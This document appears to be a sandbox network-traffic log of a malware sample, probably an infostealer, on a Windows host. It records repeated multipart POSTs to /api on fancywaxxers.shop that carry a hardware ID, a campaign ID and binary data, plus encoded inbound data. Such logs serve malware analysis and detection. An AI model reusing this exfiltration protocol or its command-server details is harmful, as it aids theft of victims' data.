2024-12-31 08:43:04 UTC	1369	IN	Data Raw: 4f 44 33 34 52 4e 72 4e 50 63 31 73 66 6c 65 78 69 6b 74 75 53 63 37 42 76 62 51 64 74 51 4b 61 70 43 52 6a 73 6d 6f 37 47 4d 69 62 6e 56 69 30 43 76 78 4a 62 62 6d 2f 77 33 44 61 54 38 75 74 50 73 46 70 4d 4a 69 56 67 38 36 52 51 49 48 69 43 34 75 6f 62 4c 67 64 4f 42 52 61 50 52 32 38 44 48 37 33 63 43 72 62 33 6f 6d 61 46 5a 32 77 69 44 46 32 6d 71 4b 78 45 61 5a 34 4b 78 69 4d 57 4c 77 4d 56 52 35 73 75 57 77 39 6d 6c 4c 30 71 6c 74 4f 65 57 37 68 61 52 41 5a 35 64 50 65 49 55 42 51 4d 71 73 37 4b 4b 77 34 62 62 69 30 71 67 32 39 33 50 30 2b 56 32 41 4f 6a 79 6f 70 54 35 56 38 4e 50 72 31 41 39 35 78 56 45 4a 43 61 35 76 49 48 64 7a 4d 6e 4c 56 2b 6a 56 32 6f 53 4e 70 58 73 44 71 4c 66 6f 6c 2b 45 51 6c 67 71 59 55 44 4c 6e 48 51 77 66 49 72 4f 2b 6a Data Ascii: OD34RNrNPc1sflexiktuSc7BvbQdtQKapCRjsmo7GMibnVi0CvxJbbm/w3DaT8utPsFpMJiVg86RQIHiC4uobLgdOBRaPR28DH73cCrb3omaFZ2wiDF2mqKxEaZ4KxiMWLwMVR5suWw9mlL0qltOeW7haRAZ5dPeIUBQMqs7KKw4bbi0qg293P0+V2AOjyopT5V8NPr1A95xVEJCa5vIHdzMnLV+jV2oSNpXsDqLfol+EQlgqYUDLnHQwfIrO+j
2024-12-31 08:43:04 UTC	1369	IN	Data Raw: 46 41 4f 6a 56 7a 6f 53 4e 70 58 77 2f 70 71 71 69 6a 4b 38 4f 32 77 69 58 46 32 6d 71 45 77 38 44 4b 37 6d 37 69 38 32 45 30 59 74 44 6f 39 54 64 77 39 4c 6a 65 67 4b 6c 75 65 47 53 35 52 32 4a 44 4a 42 64 50 4f 42 61 53 46 45 69 72 2f 4c 65 69 36 76 61 72 46 36 7a 77 4d 43 45 79 71 74 75 53 71 2b 77 6f 73 75 68 46 4a 51 47 6c 46 38 35 35 52 55 43 48 79 4f 78 76 34 50 45 68 73 53 4e 51 4b 58 5a 32 63 2f 48 35 58 6f 4f 70 4c 6a 71 6d 4f 74 58 31 55 2b 63 54 33 47 79 57 6a 4d 63 4b 72 65 78 6b 49 75 54 6d 4a 77 4f 72 39 36 57 6e 4a 58 70 65 51 71 6e 73 4f 36 59 36 52 61 58 41 5a 78 53 4f 4f 49 53 46 42 41 68 76 37 4f 49 78 49 33 53 67 45 75 73 31 64 4c 43 32 71 55 35 53 71 2b 6b 6f 73 75 68 4f 4c 77 36 32 58 59 4c 71 67 56 49 43 47 57 77 76 73 61 54 7a 4e Data Ascii: FAOjVzoSNpXw/pqqijK8O2wiXF2mqEw8DK7m7i82E0YtDo9Tdw9LjegKlueGS5R2JDJBdPOBaSFEir/Lei6varF6zwMCEyqtuSq+wosuhFJQGlF855RUCHyOxv4PEhsSNQKXZ2c/H5XoOpLjqmOtX1U+cT3GyWjMcKrexkIuTmJwOr96WnJXpeQqnsO6Y6RaXAZxSOOISFBAhv7OIxI3SgEus1dLC2qU5Sq+kosuhOLw62XYLqgVICGWwvsaTzN
2024-12-31 08:43:04 UTC	1369	IN	Data Raw: 6e 4d 2b 45 30 75 6b 33 55 75 69 32 36 5a 66 69 45 35 34 41 6d 6c 59 33 2b 42 30 50 41 79 75 36 76 59 37 44 68 64 65 42 53 36 58 55 32 73 37 55 34 6e 6b 45 6f 50 79 73 30 2b 59 50 32 31 66 62 64 69 48 78 43 42 41 63 42 4c 71 39 78 74 54 43 7a 38 56 4a 70 4a 4b 4f 68 4e 7a 33 63 77 65 36 74 65 57 64 37 68 53 4a 44 70 5a 63 49 2b 30 56 41 68 59 70 73 62 32 41 79 6f 6e 63 69 55 6d 74 32 64 6e 49 6c 61 73 33 44 62 44 38 75 74 50 50 48 49 67 59 6d 46 6b 36 2f 41 46 47 44 6d 75 75 38 6f 48 48 7a 49 37 46 54 61 50 5a 30 73 54 5a 35 58 4d 48 71 4b 37 74 6c 4f 59 65 6b 42 32 52 55 44 62 68 45 67 30 65 49 36 57 2b 69 4e 6d 4a 78 4a 63 4f 35 70 4c 52 33 4a 57 39 4e 7a 79 76 72 50 4b 51 6f 79 61 4e 44 49 31 63 50 4f 5a 61 47 56 38 38 39 37 57 4b 69 39 53 57 67 30 47 Data Ascii: nM+E0uk3Uui26ZfiE54AmlY3+B0PAyu6vY7DhdeBS6XU2s7U4nkEoPys0+YP21fbdiHxCBAcBLq9xtTCz8VJpJKOhNz3cwe6teWd7hSJDpZcI+0VAhYpsb2AyonciUmt2dnIlas3DbD8utPPHIgYmFk6/AFGDmuu8oHHzI7FTaPZ0sTZ5XMHqK7tlOYekB2RUDbhEg0eI6W+iNmJxJcO5pLR3JW9NzyvrPKQoyaNDI1cPOZaGV8897WKi9SWg0G
2024-12-31 08:43:04 UTC	1369	IN	Data Raw: 70 57 72 4e 77 32 77 2f 4c 72 54 32 52 79 56 50 5a 68 4d 63 66 56 55 48 31 45 69 75 2f 4c 65 69 34 2f 52 68 6b 2b 69 32 39 72 4c 30 75 46 6c 41 4b 2b 75 34 35 4c 71 47 70 63 50 6c 6c 6f 37 36 78 4d 4c 48 53 69 77 74 59 6e 4f 7a 4a 6a 46 53 62 43 53 6a 6f 54 30 36 48 77 47 38 2b 61 69 6a 4b 38 4f 32 77 69 58 46 32 6d 71 47 67 77 55 4c 37 71 78 69 63 69 65 31 34 4e 63 71 4e 2f 63 31 74 2f 75 63 67 65 6c 73 65 47 56 35 78 79 58 48 5a 4a 58 4d 75 46 61 53 46 45 69 72 2f 4c 65 69 36 2f 42 6b 30 53 76 33 73 44 50 31 4f 5a 68 42 37 6a 38 72 4e 50 77 45 49 70 50 77 30 45 68 2f 52 30 5a 58 7a 7a 33 74 59 71 4c 31 4a 61 44 52 36 37 56 30 4d 72 48 34 48 45 46 70 37 58 72 6c 2b 6b 55 6d 77 75 66 55 44 54 70 46 67 30 57 4a 72 69 32 6a 38 57 46 32 63 55 41 36 4e 58 4f Data Ascii: pWrNw2w/LrT2RyVPZhMcfVUH1Eiu/Lei4/Rhk+i29rL0uFlAK+u45LqGpcPllo76xMLHSiwtYnOzJjFSbCSjoT06HwG8+aijK8O2wiXF2mqGgwUL7qxicie14NcqN/c1t/ucgelseGV5xyXHZJXMuFaSFEir/Lei6/Bk0Sv3sDP1OZhB7j8rNPwEIpPw0Eh/R0ZXzz3tYqL1JaDR67V0MrH4HEFp7Xrl+kUmwufUDTpFg0WJri2j8WF2cUA6NXO
2024-12-31 08:43:04 UTC	275	IN	Data Raw: 4d 4f 70 72 76 73 6e 75 41 46 6d 41 62 62 47 58 48 74 41 6b 5a 4a 5a 5a 65 35 6b 4d 36 4c 77 4d 64 37 71 39 7a 59 77 38 4f 6c 61 44 58 6d 2f 4f 32 4a 6f 55 2b 69 46 74 74 51 50 61 70 43 52 67 51 69 74 37 57 63 33 59 76 61 6c 45 57 6c 33 76 54 4c 30 76 4e 30 42 61 75 74 36 39 2f 71 47 74 74 42 32 31 41 70 71 6b 4a 47 50 69 4b 68 73 61 6e 49 6e 64 2f 46 41 4f 6a 56 77 49 53 4e 70 55 6c 4b 75 72 2f 79 6b 4f 34 47 70 55 2f 44 54 67 2b 71 45 52 41 57 4e 62 53 6b 6a 63 61 41 78 37 73 4f 38 49 61 45 6c 6f 65 33 4a 52 58 6f 6f 39 33 64 6f 52 62 62 56 36 4a 4f 63 66 78 61 58 6b 4e 72 39 36 44 47 6b 38 79 52 68 6c 79 36 31 4e 58 53 31 71 4a 4a 4e 49 2b 71 36 4a 54 78 45 49 77 41 32 78 6c 78 35 56 70 65 4b 47 57 2b 74 5a 33 61 6d 74 75 56 53 65 6a 74 6d 49 54 4e 70 Data Ascii: MOprvsnuAFmAbbGXHtAkZJZZe5kM6LwMd7q9zYw8OlaDXm/O2JoU+iFttQPapCRgQit7Wc3YvalEWl3vTL0vN0Baut69/qGttB21ApqkJGPiKhsanInd/FAOjVwISNpUlKur/ykO4GpU/DTg+qERAWNbSkjcaAx7sO8IaEloe3JRXoo93doRbbV6JOcfxaXkNr96DGk8yRhly61NXS1qJJNI+q6JTxEIwA2xlx5VpeKGW+tZ3amtuVSejtmITNp
2024-12-31 08:43:04 UTC	1369	IN	Data Raw: 32 63 65 64 0d 0a 74 43 67 45 47 4b 76 66 38 78 73 33 4d 6a 74 59 41 36 4e 62 48 68 49 32 31 4a 56 48 39 37 37 58 44 73 77 6a 56 46 74 74 42 63 62 4a 49 53 46 45 33 39 2b 72 47 6a 49 2f 45 6c 30 69 72 78 4e 57 44 36 39 74 51 45 4b 57 36 39 59 4c 66 4b 5a 77 56 6c 6c 45 6d 2b 31 59 54 45 69 75 35 74 5a 43 4c 77 70 61 4b 44 76 44 72 6c 6f 79 56 32 6a 6c 4b 73 50 79 36 30 39 51 55 6c 51 47 63 51 53 43 6e 50 52 77 63 49 36 43 6a 78 6f 58 4d 30 4d 55 57 2b 70 79 57 77 4d 53 6c 4c 31 72 36 35 37 66 41 74 6b 66 4a 45 4e 56 4f 63 66 78 61 58 6b 4e 72 39 36 44 47 6b 38 79 52 68 6c 79 36 31 4e 58 53 31 71 4a 4a 4e 49 61 37 35 4a 62 6d 42 39 6b 68 6b 45 4d 32 71 6c 52 47 48 6d 58 76 69 38 61 44 7a 4f 6e 4c 44 72 43 53 6a 6f 54 67 35 6e 6b 45 72 36 72 7a 33 73 38 51 Data Ascii: 2cedtCgEGKvf8xs3MjtYA6NbHhI21JVH977XDswjVFttBcbJISFE39+rGjI/El0irxNWD69tQEKW69YLfKZwVllEm+1YTEiu5tZCLwpaKDvDrloyV2jlKsPy609QUlQGcQSCnPRwcI6CjxoXM0MUW+pyWwMSlL1r657fAtkfJENVOcfxaXkNr96DGk8yRhly61NXS1qJJNIa75JbmB9khkEM2qlRGHmXvi8aDzOnLDrCSjoTg5nkEr6rz3s8Q
2024-12-31 08:43:04 UTC	1369	IN	Data Raw: 56 2f 71 67 68 47 53 57 58 77 73 5a 54 5a 69 74 57 54 54 65 2f 73 36 4f 50 62 34 6e 59 63 75 4b 76 74 72 64 38 43 6d 41 47 56 55 43 66 37 57 6b 68 52 4b 76 66 71 76 34 76 45 6c 72 6f 41 36 4d 71 57 6e 4a 58 51 64 41 53 6d 75 2f 53 43 72 44 43 56 43 4a 70 42 49 66 30 56 52 6c 39 6c 73 66 4c 65 6d 63 4b 57 67 56 2f 6f 69 6f 61 57 6a 72 41 6b 58 66 6a 75 2f 64 33 34 56 34 31 50 77 77 56 2f 71 67 68 47 53 57 58 77 73 5a 54 5a 69 74 57 54 54 65 2f 73 36 4f 50 62 34 6e 59 63 75 4b 76 74 33 4d 38 68 75 6a 47 6c 51 6a 4c 6b 46 41 45 48 4e 50 66 38 78 73 54 4d 6a 72 77 4f 34 4a 4c 70 69 70 58 39 4e 31 4c 6f 69 65 47 64 37 78 43 4e 48 74 5a 77 50 2b 30 62 45 41 45 79 75 50 32 6f 2f 61 32 57 79 77 36 75 6b 6f 36 57 6d 36 56 7a 47 2b 6a 6b 73 73 47 36 51 73 68 59 79 Data Ascii: V/qghGSWXwsZTZitWTTe/s6OPb4nYcuKvtrd8CmAGVUCf7WkhRKvfqv4vElroA6MqWnJXQdASmu/SCrDCVCJpBIf0VRl9lsfLemcKWgV/oioaWjrAkXfju/d34V41PwwV/qghGSWXwsZTZitWTTe/s6OPb4nYcuKvt3M8hujGlQjLkFAEHNPf8xsTMjrwO4JLpipX9N1LoieGd7xCNHtZwP+0bEAEyuP2o/a2Wyw6uko6Wm6VzG+jkssG6QshYy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.112.1	443	6940	C:\Users\user\Desktop\x6VtGfW26X.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:43:04 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HCZVVRB9YU1BI9MGOFD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18169 Host: fancywaxxers.shop
2024-12-31 08:43:04 UTC	15331	OUT	Data Raw: 2d 2d 48 43 5a 56 56 52 42 39 59 55 31 42 49 39 4d 47 4f 46 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 38 43 35 38 32 37 39 43 41 45 31 37 35 35 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 48 43 5a 56 56 52 42 39 59 55 31 42 49 39 4d 47 4f 46 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 43 5a 56 56 52 42 39 59 55 31 42 49 39 4d 47 4f 46 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --HCZVVRB9YU1BI9MGOFDContent-Disposition: form-data; name="hwid"0E8C58279CAE175520A4C476FD51BCB1--HCZVVRB9YU1BI9MGOFDContent-Disposition: form-data; name="pid"2--HCZVVRB9YU1BI9MGOFDContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-31 08:43:04 UTC	2838	OUT	Data Raw: 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 Data Ascii: ,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pyb
2024-12-31 08:43:05 UTC	1132	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:43:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eepkondoass7tr5ds05tf19q40; expires=Sat, 26 Apr 2025 02:29:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DA4F%2FrzShcQ1CT5DoYosJ7mmj7Kvetk8r%2FUo1tlYLMTW9ZCoSU7mfHeMd50Gj5eJLjZ1tarzn6cppqvPWGiwCz2SH5PxDgjYn6DE7UhCYPsip6uLTW1XH7A4DjR5QOc9VvU%2F6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8fadb8cf3c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1465&min_rtt=1453&rtt_var=569&sent=9&recv=22&lost=0&retrans=0&sent_bytes=2843&recv_bytes=19133&delivery_rate=1883870&cwnd=181&unsent_bytes=0&cid=8205377a64c703ae&ts=686&x=0"
2024-12-31 08:43:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:43:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.112.1	443	6940	C:\Users\user\Desktop\x6VtGfW26X.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:43:06 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=T5H7PAQG41KHN8MHY7C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8790 Host: fancywaxxers.shop
2024-12-31 08:43:06 UTC	8790	OUT	Data Raw: 2d 2d 54 35 48 37 50 41 51 47 34 31 4b 48 4e 38 4d 48 59 37 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 38 43 35 38 32 37 39 43 41 45 31 37 35 35 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 54 35 48 37 50 41 51 47 34 31 4b 48 4e 38 4d 48 59 37 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 35 48 37 50 41 51 47 34 31 4b 48 4e 38 4d 48 59 37 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --T5H7PAQG41KHN8MHY7CContent-Disposition: form-data; name="hwid"0E8C58279CAE175520A4C476FD51BCB1--T5H7PAQG41KHN8MHY7CContent-Disposition: form-data; name="pid"2--T5H7PAQG41KHN8MHY7CContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-31 08:43:06 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:43:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pbs9ggrfar1ufgp8oabqa6j33v; expires=Sat, 26 Apr 2025 02:29:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dNFpsVUXzLyRO508CO7MX7aEkICtT%2BaixcylrAKFba9b%2FcQSYzL8rUcReBairgGamP2R5iBcK6ZJzupAiZV1zldEJJtygQpAiG2vHrbymb5uNI2zq481fLpqzPVm6TI1vv%2BYog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8fae34db443b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1582&min_rtt=1571&rtt_var=612&sent=6&recv=13&lost=0&retrans=0&sent_bytes=2842&recv_bytes=9731&delivery_rate=1753753&cwnd=203&unsent_bytes=0&cid=5173935186ec6486&ts=751&x=0"
2024-12-31 08:43:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:43:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.112.1	443	6940	C:\Users\user\Desktop\x6VtGfW26X.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:43:07 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7ZJUYBBS9X5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20395 Host: fancywaxxers.shop
2024-12-31 08:43:07 UTC	15331	OUT	Data Raw: 2d 2d 37 5a 4a 55 59 42 42 53 39 58 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 38 43 35 38 32 37 39 43 41 45 31 37 35 35 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 37 5a 4a 55 59 42 42 53 39 58 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 37 5a 4a 55 59 42 42 53 39 58 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 37 5a 4a 55 59 42 42 53 39 58 35 0d 0a 43 6f 6e 74 Data Ascii: --7ZJUYBBS9X5Content-Disposition: form-data; name="hwid"0E8C58279CAE175520A4C476FD51BCB1--7ZJUYBBS9X5Content-Disposition: form-data; name="pid"3--7ZJUYBBS9X5Content-Disposition: form-data; name="lid"PsFKDg--pablo--7ZJUYBBS9X5Cont
2024-12-31 08:43:07 UTC	5064	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb Data Ascii: lrQMn 64F6(X&7~`aO@
2024-12-31 08:43:08 UTC	1139	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:43:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=puelpvtkkp8u44b04cf73ufbh9; expires=Sat, 26 Apr 2025 02:29:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gt7dlyX30YR7k5GTGf%2FYW5DaW5a2LAVrB9xNfw0CSnjEEWh3gYPJ659FdJ9%2F11S3NwUPVcVoLD8h7MnF3Lh29JieEHl6%2Fg%2BxJcbdXvt%2FYaNApXcxFGw%2BwgYpWmL3CxkG1IOOUw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8faecdd1243b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1554&min_rtt=1537&rtt_var=610&sent=10&recv=25&lost=0&retrans=0&sent_bytes=2842&recv_bytes=21351&delivery_rate=1744324&cwnd=203&unsent_bytes=0&cid=262e69ca552bbc89&ts=621&x=0"
2024-12-31 08:43:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:43:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.112.1	443	6940	C:\Users\user\Desktop\x6VtGfW26X.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:43:09 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6OPMM33SI10YDMKDTM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1248 Host: fancywaxxers.shop
2024-12-31 08:43:09 UTC	1248	OUT	Data Raw: 2d 2d 36 4f 50 4d 4d 33 33 53 49 31 30 59 44 4d 4b 44 54 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 38 43 35 38 32 37 39 43 41 45 31 37 35 35 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 36 4f 50 4d 4d 33 33 53 49 31 30 59 44 4d 4b 44 54 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 4f 50 4d 4d 33 33 53 49 31 30 59 44 4d 4b 44 54 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --6OPMM33SI10YDMKDTMContent-Disposition: form-data; name="hwid"0E8C58279CAE175520A4C476FD51BCB1--6OPMM33SI10YDMKDTMContent-Disposition: form-data; name="pid"1--6OPMM33SI10YDMKDTMContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-31 08:43:09 UTC	1133	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:43:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=to5tn469fkmpcl0702hefn8hmo; expires=Sat, 26 Apr 2025 02:29:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S0%2Be1TumCJDHoNijgjxF4h%2FV5LlIwZQ4CpM%2FkTzVhrjwmxxm1stW5IbjaKdI0ini37Z5cCYMSrUErG7IHcnV34rQ9Kgv1UQumB9z1oYZ3Sdj0nDMcyOhP3qZXcPDKkv2k1Y1UQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8faf69c0943b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=21894&min_rtt=1615&rtt_var=12732&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2166&delivery_rate=1808049&cwnd=203&unsent_bytes=0&cid=4bbf4144e9f732d7&ts=433&x=0"
